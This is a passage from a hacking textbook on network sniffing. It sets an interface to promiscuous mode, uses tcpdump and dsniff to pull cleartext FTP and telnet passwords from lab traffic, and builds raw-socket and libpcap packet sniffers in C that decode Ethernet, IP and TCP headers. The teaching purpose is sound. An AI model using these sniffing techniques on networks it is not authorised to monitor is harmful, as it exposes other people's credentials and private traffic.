On the data-link layer lies the distinction between switched and unswitched networks. On an unswitched network, Ethernet packets pass through every device on the network, expecting each system device to only look at the packets sent to its destination address. However, it's fairly trivial to set a device to promiscuous mode, which causes it to look at all packets, regardless of the destination address. Most packet-capturing programs, such as tcpdump, drop the device they are listening to into promiscuous mode by default. Promiscuous mode can be set using ifconfig, as seen in the following output.
reader@hacking:~/booksrc $ ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:0C:29:34:61:65
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:17115 errors:0 dropped:0 overruns:0 frame:0
TX packets:1927 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4602913 (4.3 MiB) TX bytes:434449 (424.2 KiB)
Interrupt:16 Base address:0x2024
reader@hacking:~/booksrc $ sudo ifconfig eth0 promisc
reader@hacking:~/booksrc $ ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:0C:29:34:61:65
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:17181 errors:0 dropped:0 overruns:0 frame:0
TX packets:1927 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4668475 (4.4 MiB) TX bytes:434449 (424.2 KiB)
Interrupt:16 Base address:0x2024
reader@hacking:~/booksrc $The act of capturing packets that aren't necessarily meant for public viewing is called sniffing. Sniffing packets in promiscuous mode on an unswitched network can turn up all sorts of useful information, as the following output shows.
reader@hacking:~/booksrc $ sudo tcpdump -l -X 'ip host 192.168.0.118' tcpdump: listening on eth0 21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win 17316 <nop,nop,timestamp 466808 920202> (DF) 0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E..].e@........v 0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........)..s^... 0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C../.........x 0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft. 0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99. 0x0050 3133 13 21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840 <nop,nop,timestamp 920662 466808> (DF) [tos 0x10] 0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)... 0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ...............V 0x0030 0007 1f78 ...x 21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42 win 5840 <nop,nop,timestamp 921434 466808> (DF) [tos 0x10] 0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 E..@.p@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)... 0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z 0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech..21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13 win 17304 <nop,nop,timestamp 466885 921434> (DF) 0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 E..V..@....m...v 0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^... 0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,.......... 0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password 0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le 0x0050 6563 ec 21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840 <nop,nop,timestamp 921435 466885> (DF) [tos 0x10] 0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)... 0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[ 0x0030 0007 1fc5 .... 21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76 win 5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10] 0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)... 0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................ 0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite0x0040 0d0a .. 21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27 win 17290 <nop,nop,timestamp 466923 921809> (DF) 0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 E..O..@....T...v 0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^... 0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..C.L........... 0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 ....230.User.lee 0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in...
Data transmitted over the network by services such as telnet, FTP, and POP3 is unencrypted. In the preceding example, the user leech is seen logging into an FTP server using the password l8@nite. Since the authentication process during login is also unencrypted, usernames and passwords are simply contained in the data portions of the transmitted packets.
tcpdump is a wonderful, general-purpose packet sniffer, but there are specialized sniffing tools designed specifically to search for usernames and passwords. One notable example is Dug Song's program, dsniff, which is smart enough to parse out data that looks important.
reader@hacking:~/booksrc $ sudo dsniff -n dsniff: listening on eth0 ----------------- 12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp) USER leech PASS l8@nite ----------------- 12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet) USER root PASS 5eCr3t
So far in our code examples, we have been using stream sockets. When sending and receiving using stream sockets, the data is neatly wrapped in a TCP/IP connection. Accessing the OSI model of the session (5) layer, the operating system takes care of all of the lower-level details of transmission, correction, and routing. It is possible to access the network at lower layers using raw sockets. At this lower layer, all the details are exposed and must be handled explicitly by the programmer. Raw sockets are specified by using SOCK_RAW as the type. In this case, the protocol matters since there are multiple options. The protocol can be IPPROTO_TCP, IPPROTO_UDP, or IPPROTO_ICMP. The following example is a TCP sniffing program using raw sockets.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "hacking.h"
int main(void) {
int i, recv_length, sockfd;
u_char buffer[9000];
if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
fatal("in socket");
for(i=0; i < 3; i++) {
recv_length = recv(sockfd, buffer, 8000, 0);
printf("Got a %d byte packet\n", recv_length);
dump(buffer, recv_length);
}
}This program opens a raw TCP socket and listens for three packets, printing the raw data of each one with the dump() function. Notice that buffer is declared as a u_char variable. This is just a convenience type definition from sys/socket.h that expands to "unsigned char." This is for convenience, since unsigned variables are used a lot in network programming and typing unsigned every time is a pain.
When compiled, the program needs to be run as root, because the use of raw sockets requires root access. The following output shows the program sniffing the network while we're sending sample text to our simple_server.
reader@hacking:~/booksrc $ gcc -o raw_tcpsniff raw_tcpsniff.c reader@hacking:~/booksrc $ ./raw_tcpsniff [!!] Fatal Error in socket: Operation not permitted reader@hacking:~/booksrc $ sudo ./raw_tcpsniff Got a 68 byte packet 45 10 00 44 1e 36 40 00 40 06 46 23 c0 a8 2a 01 | E..D.6@.@.F#..*. c0 a8 2a f9 8b 12 1e d2 ac 14 cf 92 e5 10 6c c9 | ..*...........l. 80 18 05 b4 32 47 00 00 01 01 08 0a 26 ab 9a f1 | ....2G......&... 02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 | .;e.this is a te 73 74 0d 0a | st.. Got a 70 byte packet 45 10 00 46 1e 37 40 00 40 06 46 20 c0 a8 2a 01 | E..F.7@.@.F ..*. c0 a8 2a f9 8b 12 1e d2 ac 14 cf a2 e5 10 6c c9 | ..*...........l. 80 18 05 b4 27 95 00 00 01 01 08 0a 26 ab a0 75 | ....'.......&..u 02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41 | .<.(AAAAAAAAAAAA 41 41 41 41 0d 0a | AAAA.. Got a 71 byte packet 45 10 00 47 1e 38 40 00 40 06 46 1e c0 a8 2a 01 | E..G.8@.@.F...*. c0 a8 2a f9 8b 12 1e d2 ac 14 cf b4 e5 10 6c c9 | ..*...........l. 80 18 05 b4 68 45 00 00 01 01 08 0a 26 ab b6 e7 | ....hE......&... 02 3c 20 ad 66 6a 73 64 61 6c 6b 66 6a 61 73 6b | .< .fjsdalkfjask 66 6a 61 73 64 0d 0a | fjasd.. reader@hacking:~/booksrc $
While this program will capture packets, it isn't reliable and will miss some packets, especially when there is a lot of traffic. Also, it only captures TCP packets—to capture UDP or ICMP packets, additional raw sockets need to be opened for each. Another big problem with raw sockets is that they are notoriously inconsistent between systems. Raw socket code for Linux most likely won't work on BSD or Solaris. This makes multiplatform programming with raw sockets nearly impossible.
A standardized programming library called libpcap can be used to smooth out the inconsistencies of raw sockets. The functions in this library still use raw sockets to do their magic, but the library knows how to correctly work with raw sockets on multiple architectures. Both tcpdump and dsniff use libpcap, which allows them to compile with relative ease on any platform. Let's rewrite the raw packet sniffer program using the libpcap's functions instead of our own. These functions are quite intuitive, so we will discuss them using the following code listing.
#include <pcap.h>
#include "hacking.h"
void pcap_fatal(const char *failed_in, const char *errbuf) {
printf("Fatal Error in %s: %s\n", failed_in, errbuf);
exit(1);
}First, pcap.h is included providing various structures and defines used by the pcap functions. Also, I've written a pcap_fatal() function for displaying fatal errors. The pcap functions use a error buffer to return error and status messages, so this function is designed to display this buffer to the user.
int main() {
struct pcap_pkthdr header;
const u_char *packet;
char errbuf[PCAP_ERRBUF_SIZE];
char *device;
pcap_t *pcap_handle;
int i;The errbuf variable is the aforementioned error buffer, its size coming from a define in pcap.h set to 256. The header variable is a pcap_pkthdr structure containing extra capture information about the packet, such as when it was captured and its length. The pcap_handle pointer works similarly to a file descriptor, but is used to reference a packet-capturing object.
device = pcap_lookupdev(errbuf);
if(device == NULL)
pcap_fatal("pcap_lookupdev", errbuf);
printf("Sniffing on device %s\n", device);The pcap_lookupdev() function looks for a suitable device to sniff on. This device is returned as a string pointer referencing static function memory. For our system this will always be /dev/eth0, although it will be different on a BSD system. If the function can't find a suitable interface, it will return NULL.
pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf);
if(pcap_handle == NULL)
pcap_fatal("pcap_open_live", errbuf);Similar to the socket function and file open function, the pcap_open_live() function opens a packet-capturing device, returning a handle to it. The arguments for this function are the device to sniff, the maximum packet size, a promiscuous flag, a timeout value, and a pointer to the error buffer. Since we want to capture in promiscuous mode, the promiscuous flag is set to 1.
for(i=0; i < 3; i++) {
packet = pcap_next(pcap_handle, &header);
printf("Got a %d byte packet\n", header.len);
dump(packet, header.len);
}
pcap_close(pcap_handle);
}Finally, the packet capture loop uses pcap_next() to grab the next packet. This function is passed the pcap_handle and a pointer to a pcap_pkthdr structure so it can fill it with details of the capture. The function returns a pointer to the packet and then prints the packet, getting the length from the capture header. Then pcap_close() closes the capture interface.
When this program is compiled, the pcap libraries must be linked. This can be done using the -l flag with GCC, as shown in the output below. The pcap library has been installed on this system, so the library and include files are already in standard locations the compiler knows about.
reader@hacking:~/booksrc $ gcc -o pcap_sniff pcap_sniff.c /tmp/ccYgieqx.o: In function `main': pcap_sniff.c:(.text+0x1c8): undefined reference to `pcap_lookupdev' pcap_sniff.c:(.text+0x233): undefined reference to `pcap_open_live' pcap_sniff.c:(.text+0x282): undefined reference to `pcap_next' pcap_sniff.c:(.text+0x2c2): undefined reference to `pcap_close' collect2: ld returned 1 exit status reader@hacking:~/booksrc $ gcc -o pcap_sniff pcap_sniff.c -l pcap reader@hacking:~/booksrc $ ./pcap_sniff Fatal Error in pcap_lookupdev: no suitable device found reader@hacking:~/booksrc $ sudo ./pcap_sniff Sniffing on device eth0 Got a 82 byte packet 00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E. 00 44 1e 39 40 00 40 06 46 20 c0 a8 2a 01 c0 a8 | .D.9@.@.F ..*... 2a f9 8b 12 1e d2 ac 14 cf c7 e5 10 6c c9 80 18 | *...........l... 05 b4 54 1a 00 00 01 01 08 0a 26 b6 a7 76 02 3c | ..T.......&..v.< 37 1e 74 68 69 73 20 69 73 20 61 20 74 65 73 74 | 7.this is a test 0d 0a | .. Got a 66 byte packet 00 01 29 15 65 b6 00 01 6c eb 1d 50 08 00 45 00 | ..).e...l..P..E. 00 34 3d 2c 40 00 40 06 27 4d c0 a8 2a f9 c0 a8 | .4=,@.@.'M..*... 2a 01 1e d2 8b 12 e5 10 6c c9 ac 14 cf d7 80 10 | *.......l....... 05 a8 2b 3f 00 00 01 01 08 0a 02 47 27 6c 26 b6 | ..+?.......G'l&. a7 76 | .v Got a 84 byte packet 00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E. 00 46 1e 3a 40 00 40 06 46 1d c0 a8 2a 01 c0 a8 | .F.:@.@.F...*... 2a f9 8b 12 1e d2 ac 14 cf d7 e5 10 6c c9 80 18 | *...........l... 05 b4 11 b3 00 00 01 01 08 0a 26 b6 a9 c8 02 47 | ..........&....G 27 6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | 'lAAAAAAAAAAAAAA 41 41 0d 0a | AA.. reader@hacking:~/booksrc $
Notice that there are many bytes preceding the sample text in the packet and many of these bytes are similar. Since these are raw packet captures, most of these bytes are layers of header information for Ethernet, IP, and TCP.
In our packet captures, the outermost layer is Ethernet, which is also the lowest visible layer. This layer is used to send data between Ethernet endpoints with MAC addresses. The header for this layer contains the source MAC address, the destination MAC address, and a 16-bit value that describes the type of Ethernet packet. On Linux, the structure for this header is defined in /usr/include/linux/if_ethernet.h and the structures for the IP header and TCP header are located in /usr/include/netinet/ip.h and /usr/include/ netinet/tcp.h, respectively. The source code for tcpdump also has structures for these headers, or we could just create our own header structures based on the RFCs. A better understanding can be gained from writing our own structures, so let's use the structure definitions as guidance to create our own packet header structures to include in hacking-network.h.
First, let's look at the existing definition of the Ethernet header.
#define ETH_ALEN 6 /* Octets in one ethernet addr */
#define ETH_HLEN 14 /* Total octets in header */
/*
* This is an Ethernet frame header.
*/
struct ethhdr {
unsigned char h_dest[ETH_ALEN]; /* Destination eth addr */
unsigned char h_source[ETH_ALEN]; /* Source ether addr */
__be16 h_proto; /* Packet type ID field */
} __attribute__((packed));This structure contains the three elements of an Ethernet header. The variable declaration of __be16 turns out to be a type definition for a 16-bit unsigned short integer. This can be determined by recursively grepping for the type definition in the include files.
reader@hacking:~/booksrc $ $ grep -R "typedef.*__be16" /usr/include/usr/include/linux/types.h:typedef __u16 __bitwise __be16;$ grep -R "typedef.*__u16" /usr/include | grep short /usr/include/linux/i2o-dev.h:typedef unsigned short __u16;/usr/include/linux/cramfs_fs.h:typedef unsigned short __u16;/usr/include/asm/types.h:typedef unsigned short __u16; $
The include file also defines the Ethernet header length in ETH_HLEN as 14 bytes. This adds up, since the source and destination MAC addresses use 6 bytes each, and the packet type field is a 16-bit short integer that takes up 2 bytes. However, many compilers will pad structures along 4-byte boundaries for alignment, which means that sizeof(struct ethhdr) would return an incorrect size. To avoid this, ETH_HLEN or a fixed value of 14 bytes should be used for the Ethernet header length.
By including <linux/if_ether.h>, these other include files containing the required __be16 type definition are also included. Since we want to make our own structures for hacking-network.h, we should strip out references to unknown type definitions. While we're at it, let's give these fields better names.
#define ETHER_ADDR_LEN 6
#define ETHER_HDR_LEN 14
struct ether_hdr {
unsigned char ether_dest_addr[ETHER_ADDR_LEN]; // Destination MAC address
unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC address
unsigned short ether_type; // Type of Ethernet packet
};We can do the same thing with the IP and TCP structures, using the corresponding structures and RFC diagrams as a reference.
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl:4;
unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;
#else
# error "Please fix <bits/endian.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
}; 0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Example Internet Datagram HeaderEach element in the structure corresponds to the fields shown in the RFC header diagram. Since the first two fields, Version and IHL (Internet Header Length) are only four bits in size and there aren't any 4-bit variable types in C, the Linux header definition splits the byte differently depending on the byte order of the host. These fields are in the network byte order, so, if the host is little-endian, the IHL should come before Version since the byte order is reversed. For our purposes, we won't really be using either of these fields, so we don't even need to split up the byte.
struct ip_hdr {
unsigned char ip_version_and_header_length; // Version and header length
unsigned char ip_tos; // Type of service
unsigned short ip_len; // Total length
unsigned short ip_id; // Identification number
unsigned short ip_frag_offset; // Fragment offset and flags
unsigned char ip_ttl; // Time to live
unsigned char ip_type; // Protocol type
unsigned short ip_checksum; // Checksum
unsigned int ip_src_addr; // Source IP address
unsigned int ip_dest_addr; // Destination IP address
};The compiler padding, as mentioned earlier, will align this structure on a 4-byte boundary by padding the rest of the structure. IP headers are always 20 bytes.
For the TCP packet header, we reference /usr/include/netinet/tcp.h for the structure and RFC 793 for the header diagram.
typedef u_int32_t tcp_seq;
/*
* TCP header.
* Per RFC 793, September, 1981.
*/
struct tcphdr
{
u_int16_t th_sport; /* source port */
u_int16_t th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgment number */
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:4; /* (unused) */
u_int8_t th_off:4; /* data offset */
# endif
# if __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off:4; /* data offset */
u_int8_t th_x2:4; /* (unused) */
# endif
u_int8_t th_flags;
# define TH_FIN 0x01
# define TH_SYN 0x02
# define TH_RST 0x04
# define TH_PUSH 0x08
# define TH_ACK 0x10
# define TH_URG 0x20
u_int16_t th_win; /* window */
u_int16_t th_sum; /* checksum */
u_int16_t th_urp; /* urgent pointer */
}; TCP Header Format
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Data Offset: 4 bits
The number of 32 bit words in the TCP Header. This indicates where
the data begins. The TCP header (even one including options) is an
integral number of 32 bits long.
Reserved: 6 bits
Reserved for future use. Must be zero.
Options: variableLinux's tcphdr structure also switches the ordering of the 4-bit data offset field and the 4-bit section of the reserved field depending on the host's byte order. The data offset field is important, since it tells the size of the variablelength TCP header. You might have noticed that Linux's tcphdr structure doesn't save any space for TCP options. This is because the RFC defines this field as optional. The size of the TCP header will always be 32-bit-aligned, and the data offset tells us how many 32-bit words are in the header. So the TCP header size in bytes equals the data offset field from the header times four. Since the data offset field is required to calculate the header size, we'll split the byte containing it, assuming little-endian host byte ordering.
The th_flags field of Linux's tcphdr structure is defined as an 8-bit unsigned character. The values defined below this field are the bitmasks that correspond to the six possible flags.
struct tcp_hdr {
unsigned short tcp_src_port; // Source TCP port
unsigned short tcp_dest_port; // Destination TCP port
unsigned int tcp_seq; // TCP sequence number
unsigned int tcp_ack; // TCP acknowledgment number
unsigned char reserved:4; // 4 bits from the 6 bits of reserved space
unsigned char tcp_offset:4; // TCP data offset for little-endian host
unsigned char tcp_flags; // TCP flags (and 2 bits from reserved space)
#define TCP_FIN 0x01
#define TCP_SYN 0x02
#define TCP_RST 0x04
#define TCP_PUSH 0x08
#define TCP_ACK 0x10
#define TCP_URG 0x20
unsigned short tcp_window; // TCP window size
unsigned short tcp_checksum; // TCP checksum
unsigned short tcp_urgent; // TCP urgent pointer
};Now that the headers are defined as structures, we can write a program to decode the layered headers of each packet. But before we do, let's talk about libpcap for a moment. This library has a function called pcap_loop(), which is a better way to capture packets than just looping on a pcap_next()call. Very few programs actually use pcap_next(), because it's clumsy and inefficient. The pcap_loop() function uses a callback function. This means the pcap_loop() function is passed a function pointer, which is called every time a packet is captured. The prototype for pcap_loop() is as follows:
int pcap_loop(pcap_t *handle, int count, pcap_handler callback, u_char *args);
The first argument is the pcap's handle, the next one is a count of how many packets to capture, and the third is a function pointer to the callback function. If the count argument is set to -1, it will loop until the program breaks out of it. The final argument is an optional pointer that will get passed to the callback function. Naturally, the callback function needs to follow a certain prototype, since pcap_loop() must call this function. The callback function can be named whatever you like, but the arguments must be as follows:
void callback(u_char *args, const struct pcap_pkthdr *cap_header, const u_char *packet);
The first argument is just the optional argument pointer from the last argument to pcap_loop(). It can be used to pass additional information to the callback function, but we aren't going to be using this. The next two arguments should be familiar from pcap_next(): a pointer to the capture header and a pointer to the packet itself.
The following example code uses pcap_loop() with a callback function to capture packets and our header structures to decode them. This program will be explained as the code is listed.
#include <pcap.h> #include "hacking.h" #include "hacking-network.h" void pcap_fatal(const char *, const char *); void decode_ethernet(const u_char *); void decode_ip(const u_char *); u_int decode_tcp(const u_char *); void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *); int main() { struct pcap_pkthdr cap_header; const u_char *packet, *pkt_data; char errbuf[PCAP_ERRBUF_SIZE]; char *device; pcap_t *pcap_handle; device = pcap_lookupdev(errbuf); if(device == NULL) pcap_fatal("pcap_lookupdev", errbuf); printf("Sniffing on device %s\n", device); pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf); if(pcap_handle == NULL) pcap_fatal("pcap_open_live", errbuf); pcap_loop(pcap_handle, 3, caught_packet, NULL); pcap_close(pcap_handle); }
At the beginning of this program, the prototype for the callback function, called caught_packet(), is declared along with several decoding functions. Everything else in main() is basically the same, except that the for loop has been replaced with a single call to pcap_loop(). This function is passed the pcap_handle, told to capture three packets, and pointed to the callback function, caught_packet(). The final argument is NULL, since we don't have any additional data to pass along to caught_packet(). Also, notice that the decode_tcp()function returns a u_int. Since the TCP header length is variable, this function returns the length of the TCP header.
void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char
*packet) {
int tcp_header_length, total_header_size, pkt_data_len;
u_char *pkt_data;
printf("==== Got a %d byte packet ====\n", cap_header->len);
decode_ethernet(packet);
decode_ip(packet+ETHER_HDR_LEN);
tcp_header_length = decode_tcp(packet+ETHER_HDR_LEN+sizeof(struct ip_hdr));
total_header_size = ETHER_HDR_LEN+sizeof(struct ip_hdr)+tcp_header_length;
pkt_data = (u_char *)packet + total_header_size; // pkt_data points to the data
portion.
pkt_data_len = cap_header->len - total_header_size;
if(pkt_data_len > 0) {
printf("\t\t\t%u bytes of packet data\n", pkt_data_len);
dump(pkt_data, pkt_data_len);
} else
printf("\t\t\tNo Packet Data\n");
}
void pcap_fatal(const char *failed_in, const char *errbuf) {
printf("Fatal Error in %s: %s\n", failed_in, errbuf);
exit(1);
}The caught_packet() function gets called whenever pcap_loop() captures a packet. This function uses the header lengths to split the packet up by layers and the decoding functions to print out details of each layer's header.
void decode_ethernet(const u_char *header_start) {
int i;
const struct ether_hdr *ethernet_header;
ethernet_header = (const struct ether_hdr *)header_start;
printf("[[ Layer 2 :: Ethernet Header ]]\n");
printf("[ Source: %02x", ethernet_header->ether_src_addr[0]);
for(i=1; i < ETHER_ADDR_LEN; i++)
printf(":%02x", ethernet_header->ether_src_addr[i]);
printf("\tDest: %02x", ethernet_header->ether_dest_addr[0]);
for(i=1; i < ETHER_ADDR_LEN; i++)
printf(":%02x", ethernet_header->ether_dest_addr[i]);
printf("\tType: %hu ]\n", ethernet_header->ether_type);
}
void decode_ip(const u_char *header_start) {
const struct ip_hdr *ip_header;
ip_header = (const struct ip_hdr *)header_start;
printf("\t(( Layer 3 ::: IP Header ))\n");
printf("\t( Source: %s\t", inet_ntoa(ip_header->ip_src_addr));
printf("Dest: %s )\n", inet_ntoa(ip_header->ip_dest_addr));
printf("\t( Type: %u\t", (u_int) ip_header->ip_type);
printf("ID: %hu\tLength: %hu )\n", ntohs(ip_header->ip_id), ntohs(ip_header->ip_len));
}
u_int decode_tcp(const u_char *header_start) {
u_int header_size;
const struct tcp_hdr *tcp_header;
tcp_header = (const struct tcp_hdr *)header_start;
header_size = 4 * tcp_header->tcp_offset;
printf("\t\t{{ Layer 4 :::: TCP Header }}\n");
printf("\t\t{ Src Port: %hu\t", ntohs(tcp_header->tcp_src_port));
printf("Dest Port: %hu }\n", ntohs(tcp_header->tcp_dest_port));
printf("\t\t{ Seq #: %u\t", ntohl(tcp_header->tcp_seq));
printf("Ack #: %u }\n", ntohl(tcp_header->tcp_ack));
printf("\t\t{ Header Size: %u\tFlags: ", header_size);
if(tcp_header->tcp_flags & TCP_FIN)
printf("FIN ");
if(tcp_header->tcp_flags & TCP_SYN)
printf("SYN ");
if(tcp_header->tcp_flags & TCP_RST)
printf("RST ");
if(tcp_header->tcp_flags & TCP_PUSH)
printf("PUSH ");
if(tcp_header->tcp_flags & TCP_ACK)
printf("ACK ");
if(tcp_header->tcp_flags & TCP_URG)
printf("URG ");
printf(" }\n");
return header_size;
}The decoding functions are passed a pointer to the start of the header, which is typecast to the appropriate structure. This allows accessing various fields of the header, but it's important to remember these values will be in network byte order. This data is straight from the wire, so the byte order needs to be converted for use on an x86 processor.
reader@hacking:~/booksrc $ gcc -o decode_sniff decode_sniff.c -lpcap reader@hacking:~/booksrc $ sudo ./decode_sniff Sniffing on device eth0 ==== Got a 75 byte packet ==== [[ Layer 2 :: Ethernet Header ]] [ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ] (( Layer 3 ::: IP Header )) ( Source: 192.168.42.1 Dest: 192.168.42.249 ) ( Type: 6 ID: 7755 Length: 61 ) {{ Layer 4 :::: TCP Header }} { Src Port: 35602 Dest Port: 7890 } { Seq #: 2887045274 Ack #: 3843058889 } { Header Size: 32 Flags: PUSH ACK } 9 bytes of packet data 74 65 73 74 69 6e 67 0d 0a | testing.. ==== Got a 66 byte packet ==== [[ Layer 2 :: Ethernet Header ]] [ Source: 00:01:6c:eb:1d:50 Dest: 00:01:29:15:65:b6 Type: 8 ] (( Layer 3 ::: IP Header )) ( Source: 192.168.42.249 Dest: 192.168.42.1 ) ( Type: 6 ID: 15678 Length: 52 ) {{ Layer 4 :::: TCP Header }} { Src Port: 7890 Dest Port: 35602 } { Seq #: 3843058889 Ack #: 2887045283 } { Header Size: 32 Flags: ACK } No Packet Data ==== Got a 82 byte packet ==== [[ Layer 2 :: Ethernet Header ]] [ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ] (( Layer 3 ::: IP Header )) ( Source: 192.168.42.1 Dest: 192.168.42.249 ) ( Type: 6 ID: 7756 Length: 68 ) {{ Layer 4 :::: TCP Header }} { Src Port: 35602 Dest Port: 7890 } { Seq #: 2887045283 Ack #: 3843058889 } { Header Size: 32 Flags: PUSH ACK } 16 bytes of packet data 74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | this is a test.. reader@hacking:~/booksrc $
